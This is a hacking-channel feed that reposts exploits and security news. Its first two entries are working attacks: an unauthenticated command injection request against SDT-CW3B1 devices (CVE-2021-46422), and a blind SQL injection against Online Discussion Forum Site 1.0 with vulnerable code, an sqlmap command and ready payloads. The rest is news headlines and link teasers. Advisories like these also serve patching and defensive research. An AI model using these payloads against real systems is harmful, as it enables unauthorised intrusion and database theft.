Exploit Collector
SDT-CW3B1 1.1.0 Command Injection

https://1.bp.blogspot.com/--r13ngwGJe8/WWlvLp4DX4I/AAAAAAAAIMI/4n3jDvF3elUQ0c2WO1JA-mB24XU3pCyAACLcBGAs/s1600/h17.png
SDT-CW3B1 version 1.1.0 suffers from a command injection vulnerability.

SHA-256 | 8860761838526038594fcc60341f30b6ce5d75e287ff95719536bb39ccf39c13

Download
# Exploit Title: SDT-CW3B1 1.1.0 - OS command injection
# Date: 2022-05-12
# Exploit Author: Ahmed Alroky
# Author Company : AIactive
# Version: 1.0.0
# Vendor home page : http://telesquare.co.kr/
# Authentication Required: No
# CVE : CVE-2021-46422

# Tested on: Windows

# HTTP Request
GET /cgi-bin/admin.cgi?Command=sysCommand&Cmd=id HTTP/1.1
Host: IP_HERE
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Accept: */*
Referer: http:// IP_HERE /admin/system_command.shtml
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Online Discussion Forum Site 1.0 SQL Injection

https://1.bp.blogspot.com/-HfAgGXf1DOw/WWlvbMysVAI/AAAAAAAAIPI/FubFag34U7YDsw4ZG5KiakYQR-P9HSuiwCLcBGAs/s1600/h72.png
Online Discussion Forum Site version 1.0 suffers from a remote blind SQL injection vulnerability.

SHA-256 | 4ee8e26b03aaab698cd44b2e3b37998f1e0a8d62d370fcb6c7a0fa3cfbbfada8

Download
# Exploit Title: Online Discussion Forum Site 1.0 - 'id' Blind SQL Injection
# Date: 15/05/2022
# Exploit Author: Saud Alenazi
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/15337/online-discussion-forum-site-phpoop-free-source-code.html
# Version: 1.0
# Tested on: XAMPP, Linux
# Vulnerable Code:

line 3 in file "/odfs/posts/view_post.php"

$qry = $conn->query("SELECT p.*, u.username, u.avatar, c.name as `category` FROM `post_list` p inner join category_list c on p.category_id = c.id inner join `users` u on p.user_id = u.id where p.id= '{$_GET['id']}'");

# Sqlmap command:

sqlmap -u 'http://localhost/odfs/?id=1&p=posts/view_post' -p id --level=5 --risk=3 --dbs --random-agent --eta

# Output:

Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1' AND 5178=5178-- Iddj&p=posts/view_post

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1' AND (SELECT 6535 FROM (SELECT(SLEEP(5)))amvG)-- ikmN&p=posts/view_post

Type: UNION query
Title: Generic UNION query (NULL) - 12 columns
Payload: id=-3669' UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x71716a7671,0x65776b4d4272577956694c6549674a64546761564c79566d556255634a426c7a66464e6e527a4779,0x71767a6a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -&p=posts/view_post

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Trojan-Ransom.Thanos MVID-2022-0607 Code Execution

___________________________
@hacking_Attack
@Hacking_Video

Bug Bounty Diaries #0
https://medium.com/@noli.mtz/bug-bounty-diaries-0-922802de4a45?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Hi guys I’m back with another blog and I know it’s been a while but I’m so exicted because with this blogs I’ll explain my way on bug…Continue reading on Medium » (https://medium.com/@noli.mtz/bug-bounty-diaries-0-922802de4a45?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Bug Bounty Diaries #0

Hi guys I’m back with another blog and I know it’s been a while but I’m so exicted because with this blogs I’ll explain my way on bug…Continue reading on Medium »
Read more...

Dark Reading: Attacks/Breaches
Training to Beat a Bad Cybersecurity Culture

Creating a company culture for security may need to start by tearing down an anti-security culture.

Dark Reading: Attacks/Breaches
Widespread Attack on WordPress Sites Targets Tatsu Builder Plug-in

A widespread attack is underway to exploit known RCE flaw in Tatsu Builder WordPress plug-in, according to a new report.

Dark Reading: Attacks/Breaches
Rubrik Launches Rubrik Security Cloud to Secure Data, Wherever it Lives, Across Enterprise, Cloud, and SaaS

.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
New Venture Capital Fund Focuses on Emerging Cybersecurity Tech

The founders behind more than 90 cybersecurity firms have set up a $300 million investment fund.

Dark Reading: Attacks/Breaches
(ISC)² Unveils 100K in the UK Scheme to Expand the UK Cybersecurity Workforce with 100,000 Free Entry-Level Certification Exams and Education Opportunities

Multi-million-pound commitment will empower everyone from recent graduates to career changers to IT professionals in the UK to begin a successful career in cybersecurity.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
FBI: E-Tailers, Beware Web Injections for Scraping Credit-Card Data, Backdoors

Law enforcement is warning about a wave of Web injection attacks on US online retailers that are successfully stealing credit-card information from online checkout pages.

Hacking on Medium
Nueva variante Sysrv Botnet secuestrando Windows y Linux con Crypto Miners

https://cdn-images-1.medium.com/max/1590/0*9i25KlVekPO0COwQ
PUBLICADO EN 17 MAYO, 2022POR EHACKING

Continue reading on Medium »
➖ Sent by @TheFeedReaderBot ➖

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Ya está disponible Kali Linux 2022.2, con mejoras WSL y con 10 nuevas herramientas

https://cdn-images-1.medium.com/max/1200/0*HDbhukuMgqyP8gFJ.jpg
PUBLICADO EN 17 MAYO, 2022 POR EHACKING

Continue reading on Medium »
➖ Sent by @TheFeedReaderBot ➖

___________________________
@hacking_Attack
@Hacking_Video